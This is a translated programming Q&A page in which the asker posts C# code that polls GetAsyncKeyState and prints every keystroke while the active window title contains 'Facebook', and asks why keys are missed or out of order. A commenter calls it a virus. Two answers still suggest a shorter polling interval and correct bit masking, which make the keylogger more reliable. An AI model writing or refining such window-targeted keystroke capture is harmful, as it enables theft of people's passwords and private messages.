【问题标题】:GetAsyncKeyState not capturing keys in right orderGetAsyncKeyState 未按正确顺序捕获键
【发布时间】:2020-05-08 17:14:04
【问题描述】:

如果活动窗口标题包含“Facebook”,我有以下代码可以捕获击键,但是,在测试时...我没有得到准确的按键顺序,并且有些按键被遗漏了...什么可以我要对此进行改进吗?

例如:如果我输入“ALI”,我会打印出“AIL”

       [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);

    [DllImport("user32.dll")]
    private static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll")]
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);


    static void Main(string[] args)
    {

        while (true)
        {
            string WindowTitle = GetActiveWindowTitle();

            if (WindowTitle == null)
                return;

            if (WindowTitle.Contains("Facebook"))
            {
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);

                    if (state == 1 || state == -32767)
                    {
                        Console.WriteLine((Keys)i);
                    }
                }

            }

            Thread.Sleep(1000);
        }
    }

    private static string GetActiveWindowTitle()
    {
        const int chars = 256;
        StringBuilder buff = new StringBuilder(chars);
        IntPtr handle = GetForegroundWindow();

        if (GetWindowText(handle, buff, chars) > 0)
        {
            return buff.ToString();
        }

        return null;
    }

【问题讨论】:

  • 好像你正在尝试构建病毒。

标签: c# .net console-application


【解决方案1】:

将初学者的间隔从 1s 减少到 5ms...Thread.Sleep(5);

即使这样,当你开始快速打字时,击键仍然会被排列和/或丢失,我没有足够的资格来解释原因。顺便说一句,你的意图太明显了,所以没人愿意回答你的问题。

【讨论】:

    【解决方案2】:

    改变这些:

       [DllImport("user32.dll")]
        public static extern ushort GetAsyncKeyState(Int32 i);
    

    if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
    {
        Console.WriteLine((Keys)i);
    }
    

    但不确定它是否会起作用?

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2021-05-19
      • 2021-08-08
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多